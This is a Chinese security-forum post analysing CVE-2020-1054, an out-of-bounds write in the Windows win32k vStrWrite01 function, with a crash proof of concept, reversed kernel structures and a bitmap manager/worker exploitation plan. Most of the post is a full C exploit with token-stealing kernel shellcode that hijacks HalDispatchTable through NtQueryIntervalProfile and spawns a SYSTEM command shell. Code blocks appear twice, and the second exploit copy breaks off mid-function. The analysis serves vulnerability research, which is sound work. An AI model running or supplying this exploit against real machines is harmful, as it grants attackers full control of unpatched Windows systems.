首页
社区
课程
招聘
[原创]win越界写漏洞分析 CVE-2020-1054
发表于: 2023-1-5 17:35 25351

[原创]win越界写漏洞分析 CVE-2020-1054

2023-1-5 17:35
25351

这篇是1-4正好赶上换域名时编辑的帖子,换完全没了,心态炸了。。。
还未写完,后续补补,怕编辑中的帖子又没了
参考链接:
https://cpr-zero.checkpoint.com/vulns/cprid-2153/
https://www.anquanke.com/post/id/209329#h2-0
https://bbs.kanxue.com/thread-273701.htmhttps://bbs.kanxue.com/thread-260884.htm
漏洞poc

https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatibledc
CreateCompatibleDC 函数 (DC) 创建与指定设备兼容的内存设备上下文。
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap
CreateCompatibleBitmap 函数创建与与指定设备上下文关联的设备的位图。
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-drawiconex
DrawIconEx将图标或光标绘制到指定的设备上下文中,执行指定的光栅操作,并按指定拉伸或压缩图标或光标。
编译运行poc,系统触发蓝屏,挂上winbdg看看
图片描述
图片描述
可以看到是在win32k!vStrWrite01+0x36a处触发的漏洞
图片描述
崩溃是由于无效的内存引用而发生的,CheckPoint网站上对这个漏洞的描述是它是一个越界(OOB)写入漏洞。
触发漏洞的vStrWrite01函数中的结构如下

图片描述
读取的内存地址由rcx与rax决定,所以就需要分析rcx与rax的计算才能知道读取的内存地址。
图片描述
图片描述
图片描述
图片描述
图片描述
图片描述
r14寄存器的值的计算可以用以下循环来计算:

mov esi, [r14] esi后面会被用来进行and或or

图片描述
图片描述
图片描述
图片描述
vStrWrite01函数完整的逆向参见https://bbs.kanxue.com/thread-260884.htm 很详细

漏洞利用的步骤如下:

创建用来触发漏洞的BitMap对象hExpBitMap(fffff900’c700000)
在hExpBitMap偏移0x100070000处放置一个BitMap对象,作为hManager
在hManager之后偏移0x7000地址处分配一个BitMap对象作为hWorker
(申请足够多的SURFOBJs(通过CreateCompatibleBitmap)这样其中一个会被分配在(fffff900’c700000)
另一个SURFOBJ会被分配在第一个的后面
同时第三个SURFOBJ会被分配在第二个的后面
计算出 loop_iterations * lDelta 的值,让这个值等于 fffff901'c7000240
)
触发漏洞,扩大hManager所对应的BitMap对象的sizelBitmap来扩大hManager的可读写范围
通过hManager修改hWorker对应的BitMap对象的pvScan0
就可以实现任意地址读写修改进程的token实现提权
exp

#include <Windows.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
    LoadLibrary("user32.dll");
    HDC r0 = CreateCompatibleDC(0x0);
    HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
    SelectObject(r0, r1);
    DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc, 0x0, 0x0, 0x6);
 
    return 0;
}
#include <Windows.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
    LoadLibrary("user32.dll");
    HDC r0 = CreateCompatibleDC(0x0);
    HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
    SelectObject(r0, r1);
    DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc, 0x0, 0x0, 0x6);
 
    return 0;
}
VOID vStrWrite01(STRRUN  *prun,
                 XRUNLEN *pxrlEnd,
                 SURFACE *pSurf,
                 CLIPOBJ *pco)
VOID vStrWrite01(STRRUN  *prun,
                 XRUNLEN *pxrlEnd,
                 SURFACE *pSurf,
                 CLIPOBJ *pco)
typedef struct _STRRUN
{
    LONG    yPos;
    LONG    cRep;
    XRUNLEN xrl;
} STRRUN;
typedef struct _XRUNLEN
{
    LONG    xPos;
    LONG    cRun;
    LONG    aul[1];
} XRUNLEN;
typedef struct tagSIZE {
    LONG cx;
    LONG cy;
} SIZE,*PSIZE,*LPSIZE;
 
typedef SIZE SIZEL;
 
typedef struct _BASEOBJECT64{
  ULONG64 hHmgr;     // 0x00
  ULONG32 ulShareCount;      // 0x08
  WORD cExclusiveLock;       // 0x0A
  WORD BaseFlags;        // 0x0C
  ULONG64 Tid;           // 0x10
} BASEOBJECT64;
 
typedef struct _SURFOBJ64{
  BASEOBJECT64 baseObj;    // 0x00
  ULONG64 dhsurf;         // 0x18
  ULONG64 hsurf;          // 0x20
  ULONG64 dhpdev;         // 0x28
  ULONG64 hdev;           // 0x30
  SIZEL sizlBitmap;       // 0x38
  ULONG64 cjBits;         // 0x40
  ULONG64 pvBits;         // 0x48
  ULONG64 pvScan0;        // 0x50
  ULONG32 lDelta;         // 0x58
  ULONG32 iUniq;          // 0x5C
  ULONG32 iBitmapFormat;  // 0x60
  USHORT iType;           // 0x64
  USHORT fjBitmap;        // 0x66
} SURFOBJ64;
typedef struct _STRRUN
{
    LONG    yPos;
    LONG    cRep;
    XRUNLEN xrl;
} STRRUN;
typedef struct _XRUNLEN
{
    LONG    xPos;
    LONG    cRun;
    LONG    aul[1];
} XRUNLEN;
typedef struct tagSIZE {
    LONG cx;
    LONG cy;
} SIZE,*PSIZE,*LPSIZE;
 
typedef SIZE SIZEL;
 
typedef struct _BASEOBJECT64{
  ULONG64 hHmgr;     // 0x00
  ULONG32 ulShareCount;      // 0x08
  WORD cExclusiveLock;       // 0x0A
  WORD BaseFlags;        // 0x0C
  ULONG64 Tid;           // 0x10
} BASEOBJECT64;
 
typedef struct _SURFOBJ64{
  BASEOBJECT64 baseObj;    // 0x00
  ULONG64 dhsurf;         // 0x18
  ULONG64 hsurf;          // 0x20
  ULONG64 dhpdev;         // 0x28
  ULONG64 hdev;           // 0x30
  SIZEL sizlBitmap;       // 0x38
  ULONG64 cjBits;         // 0x40
  ULONG64 pvBits;         // 0x48
  ULONG64 pvScan0;        // 0x50
  ULONG32 lDelta;         // 0x58
  ULONG32 iUniq;          // 0x5C
  ULONG32 iBitmapFormat;  // 0x60
  USHORT iType;           // 0x64
  USHORT fjBitmap;        // 0x66
} SURFOBJ64;
for (i = 0; i < prun->yPos; i++)
{
    r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + (prun->xrl->xPos >> 5) * 4 + i * pSurf->lDelta
    // 对r14指向的内存地址进行读写
}
for (i = 0; i < prun->yPos; i++)
{
    r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + (prun->xrl->xPos >> 5) * 4 + i * pSurf->lDelta
    // 对r14指向的内存地址进行读写
}
 
 
 
#pragma once
#include <cstdio>
#include <windows.h>
#include <Psapi.h>
 
#define PAGE_SIZE 0x1000
#define TYPE_WINDOW 1
#define POOL_HEADER_SIZE 0x10
 
EXTERN_C_START
ULONG64 GetPEB();
NTSTATUS ShellCodeInWin7();
EXTERN_C_END
 
/*
.code
 
ShellCodeInWin7 proc
    push r8
    push r9
    ; 从KPCR中获取当前线程_ETHREAD
    mov rax, gs:[188h]
    ; 从_ETHREAD中获取当前进程_EPROCESS
    mov rax, [rax+070h]
    mov r8, rax
 
find_system_proc:
    ; 获取下一进程EPROCESS地址
    mov rax, [rax+188h]
    sub rax, 188h
    ; 获取PID
    mov rdx, [rax+180h]
    ; 判断pid是否为4,不为4则跳转
    cmp rdx, 4
    jne find_system_proc
 
    ; 将system的token赋值给本进程,并增加引用计数
    mov rax, [rax+208h]
    and al, 0f0h
    mov [r8+208h], rax
    mov r9, 2
    add [rax-30h], r9
 
    ; 设置返回值,退出函数
    mov rax, 1
    pop r9
    pop r8
    ret
ShellCodeInWin7 endp
 
.code
 
GetPEB proc
    mov rax, gs:[60h]
    ret
GetPEB endp
 
end
*/
 
typedef DWORD64 QWORD;
typedef PDWORD64 PQWORD;
 
typedef struct _LARGE_UNICODE_STRING {
    ULONG Length;
    ULONG MaximumLength : 31;
    ULONG bAnsi : 1;
    PWSTR Buffer;
} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING;
 
typedef struct _HEAD
{
    HANDLE h;
    DWORD clockObj;
}HEAD, * PHEAD;
 
typedef struct _THROBJHEAD
{
    HEAD h;
    PVOID pti;
}THROBJHEAD, * PTHROBJHEAD;
 
typedef struct _THRDESKHEAD
{
    THROBJHEAD h;
    PVOID rpdesk;
    PVOID pSelf;
}THRDESKHEAD, * PTHRDESKHEAD;
 
 
typedef struct _GDICELL64 {
    PVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    PVOID pUserAddress;
} GDICELL64, * PGDICELL64;
 
typedef NTSTATUS(WINAPI* lpfnNtQueryIntervalProfile)(IN QWORD Src, IN OUT PQWORD Profile);
 
VOID ShowError(char* str, DWORD dwErrorCode)
{
    printf("%s Error 0x%X\n", str, dwErrorCode);
}
 
ULONG64 GetNTBase()
{
    ULONG64 Base[0x1000];
    DWORD dwRet = 0;
    ULONG64 ulKrnlBase = 0;
 
    if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))
    {
        ulKrnlBase = Base[0];
    }
    else
    {
        printf("EnumDeviceDrivers");
    }
 
    return ulKrnlBase;
}
 
 
PVOID GetHalQuerySystemInformation()
{
    PVOID pXHalQuerySystemInformation = NULL;
    ULONG64 ulHalDispatchTable = 0;
    HMODULE hKernel = NULL;
    ULONG64 ulOsBase = 0;
 
    ulOsBase = GetNTBase();
    if (!ulOsBase)
    {
        goto exit;
    }
 
    hKernel = LoadLibraryA("ntoskrnl.exe");
    if (!hKernel)
    {
        printf("LoadLibrary");
        goto exit;
    }
 
    // 获取内核HalDispatchTable函数表地址
    ulHalDispatchTable = (ULONG64)GetProcAddress((HMODULE)hKernel, "HalDispatchTable");
 
    if (!ulHalDispatchTable)
    {
        printf("GetProcAddress");
        goto exit;
    }
 
    ulHalDispatchTable = ulHalDispatchTable - (ULONG64)hKernel + ulOsBase;
    pXHalQuerySystemInformation = (PVOID)(ulHalDispatchTable + sizeof(ULONG64));
 
exit:
    if (hKernel) FreeLibrary(hKernel);
 
    return pXHalQuerySystemInformation;
}
 
 
 
BOOL CallNtQueryIntervalProfile()
{
    BOOL bRet = TRUE;
    NTSTATUS status = 0;
    HMODULE hDll = NULL;
 
    hDll = LoadLibraryA("ntdll.dll");
    if (!hDll)
    {
        printf("LoadLibrary ntdll.dll");
        return FALSE;
    }
 
    lpfnNtQueryIntervalProfile NtQueryIntervalProfile = (lpfnNtQueryIntervalProfile)GetProcAddress(hDll, "NtQueryIntervalProfile");
 
    if (!NtQueryIntervalProfile)
    {
        bRet = FALSE;
        printf("GetProcAddress");
        return FALSE;
    }
 
    QWORD dwRet = 0;
    QWORD dwProfileTotalIssues = 0x3;
    status = NtQueryIntervalProfile(dwProfileTotalIssues, &dwRet);
    if (status < 0)
    {
        printf("NtQueryIntervalProfile");
        return FALSE;
    }
 
}
 
//成功扩大hManager的读写范围之后,就可以通过修改hWorker的pvScan0来实现任意地址读写
BOOL EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)
{
 
    PVOID pBuf = NULL;
 
    pBuf = malloc(ulSize + 0x10);
    if (!pBuf)
    {
 
        printf("malloc error");
        return FALSE;
    }
    ZeroMemory(pBuf, ulSize + 0x10);
 
    if (!GetBitmapBits(hManager, ulSize, pBuf))
    {
        printf("GetBitmapBits error");
        return FALSE;
    }
 
    ULONG64 ulHalQuerySystenInformation = (ULONG64)GetHalQuerySystemInformation();
    if (!ulHalQuerySystenInformation)
    {
        printf("GetHalQuerySystemInformation error");
        return FALSE;
    }
 
    *(PULONG64)((ULONG64)pBuf + ulSize) = ulHalQuerySystenInformation;
    if (!SetBitmapBits(hManager, ulSize + sizeof(ULONG64), pBuf))
    {
 
        printf("SetBitmapBits");
        return FALSE;
    }
 
    ULONG64 ulOrg = 0;
 
    if (!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
    {
 
        printf("GetBitmapBits error");
        return FALSE;
    }
 
    ULONG64 ulShellCode = (ULONG64)ShellCodeInWin7;
    if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))
    {
 
        printf("GetBitmapBits");
        return FALSE;
    }
 
    if (!CallNtQueryIntervalProfile())
    {
        return FALSE;
    }
 
    if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
    {
 
        printf("GetBitmapBits");
        return FALSE;
    }
}
 
ULONG64 GetBitMapKerAddr(HBITMAP hBitMap)
{
    ULONG64 pKernelAddress = NULL;
    ULONG64 ulPEB = GetPEB();
    ULONG64 ulGdiSharedHandleTable = *(PULONG64)(ulPEB + 0xF8);
    PGDICELL64 pGdiCell = NULL;
 
    pGdiCell = (PGDICELL64)(ulGdiSharedHandleTable + sizeof(GDICELL64) * ((ULONG64)hBitMap & 0xFFFF));
 
    return (ULONG64)pGdiCell->pKernelAddress;
}
 
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
 
int main()
{
    //喷射大量0x7000大小的BitMap对象
    if (!LoadLibraryA("user32.dll"))
    {
        printf("LoadLibrary error");
        return 0;
    }
 
    HDC hdc = NULL;
    hdc = CreateCompatibleDC(NULL);
    if (!hdc)
    {
        printf("CreateCompatibleDC error");
        return 0;
    }
 
    HBITMAP hExpBitMap = NULL;
 
    hExpBitMap = CreateCompatibleBitmap(hdc, 0x51500, 0x100);
    if (!hExpBitMap)
    {
        printf("CreateCompatibleBitmap error");
        return 0;
    }
 
    ULONG64 ulExpBitMap = GetBitMapKerAddr(hExpBitMap);
    ULONG64 oob_target = (ulExpBitMap & 0xfffffffffff00000) + 0x0000000100000000;
 
    HBITMAP hManager = NULL, hWorker = NULL;
    ULONG64 ulManager = 0, ulWorker = 0;
 
    while (true)
    {
        HBITMAP hBitMap = NULL;
 
        hBitMap = CreateCompatibleBitmap(hdc, 0x6F000, 0x8);
        if (!hBitMap)
        {
            printf("CreateCompatibleBitmap error");
            return 0;
        }
 
        ULONG64 ulBitMapKerAddr = GetBitMapKerAddr(hBitMap);
 
        if (hManager)
        {
            ulWorker = ulBitMapKerAddr;
            hWorker = hBitMap;
            break;
        }
        else if (ulBitMapKerAddr >= oob_target && (ulBitMapKerAddr & 0x0000000000070000) == 0x70000)
        {
            ulManager = ulBitMapKerAddr;
            hManager = hBitMap;
        }
    }
 
    // 触发漏洞,修改hManger的可读写范围
    SelectObject(hdc, hExpBitMap);
    DrawIconEx(hdc, 0x900, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
 
    ULONG64 ulSize = ulWorker + 0x50 - (ulManager + 0x238);
    if (!EnablePrivilege_CVE_2020_1054(hManager, hWorker, ulSize))
    {
        printf("error");
        return 0;
    }
 
    CreateCmd();
 
    return 0;
}
#pragma once
#include <cstdio>
#include <windows.h>
#include <Psapi.h>
 
#define PAGE_SIZE 0x1000
#define TYPE_WINDOW 1
#define POOL_HEADER_SIZE 0x10
 
EXTERN_C_START
ULONG64 GetPEB();
NTSTATUS ShellCodeInWin7();
EXTERN_C_END
 
/*
.code
 
ShellCodeInWin7 proc
    push r8
    push r9
    ; 从KPCR中获取当前线程_ETHREAD
    mov rax, gs:[188h]
    ; 从_ETHREAD中获取当前进程_EPROCESS
    mov rax, [rax+070h]
    mov r8, rax
 
find_system_proc:
    ; 获取下一进程EPROCESS地址
    mov rax, [rax+188h]
    sub rax, 188h
    ; 获取PID
    mov rdx, [rax+180h]
    ; 判断pid是否为4,不为4则跳转
    cmp rdx, 4
    jne find_system_proc
 
    ; 将system的token赋值给本进程,并增加引用计数
    mov rax, [rax+208h]
    and al, 0f0h
    mov [r8+208h], rax
    mov r9, 2
    add [rax-30h], r9
 
    ; 设置返回值,退出函数
    mov rax, 1
    pop r9
    pop r8
    ret
ShellCodeInWin7 endp
 
.code
 
GetPEB proc
    mov rax, gs:[60h]
    ret
GetPEB endp
 
end
*/
 
typedef DWORD64 QWORD;
typedef PDWORD64 PQWORD;
 
typedef struct _LARGE_UNICODE_STRING {
    ULONG Length;
    ULONG MaximumLength : 31;
    ULONG bAnsi : 1;
    PWSTR Buffer;
} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING;
 
typedef struct _HEAD
{
    HANDLE h;
    DWORD clockObj;
}HEAD, * PHEAD;
 
typedef struct _THROBJHEAD
{
    HEAD h;
    PVOID pti;
}THROBJHEAD, * PTHROBJHEAD;
 
typedef struct _THRDESKHEAD
{
    THROBJHEAD h;
    PVOID rpdesk;
    PVOID pSelf;
}THRDESKHEAD, * PTHRDESKHEAD;
 
 
typedef struct _GDICELL64 {
    PVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    PVOID pUserAddress;
} GDICELL64, * PGDICELL64;
 
typedef NTSTATUS(WINAPI* lpfnNtQueryIntervalProfile)(IN QWORD Src, IN OUT PQWORD Profile);
 
VOID ShowError(char* str, DWORD dwErrorCode)
{
    printf("%s Error 0x%X\n", str, dwErrorCode);
}
 
ULONG64 GetNTBase()
{
    ULONG64 Base[0x1000];
    DWORD dwRet = 0;
    ULONG64 ulKrnlBase = 0;
 
    if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))
    {
        ulKrnlBase = Base[0];
    }
    else
    {
        printf("EnumDeviceDrivers");
    }
 
    return ulKrnlBase;
}
 
 
PVOID GetHalQuerySystemInformation()
{
    PVOID pXHalQuerySystemInformation = NULL;
    ULONG64 ulHalDispatchTable = 0;
    HMODULE hKernel = NULL;
    ULONG64 ulOsBase = 0;
 
    ulOsBase = GetNTBase();
    if (!ulOsBase)
    {
        goto exit;
    }
 
    hKernel = LoadLibraryA("ntoskrnl.exe");
    if (!hKernel)
    {

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 8
支持
分享
最新回复 (1)
雪    币: 573
活跃值: (1004)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
坐下慢慢看
2023-1-6 11:16
0
游客
登录 | 注册 方可回帖
返回
//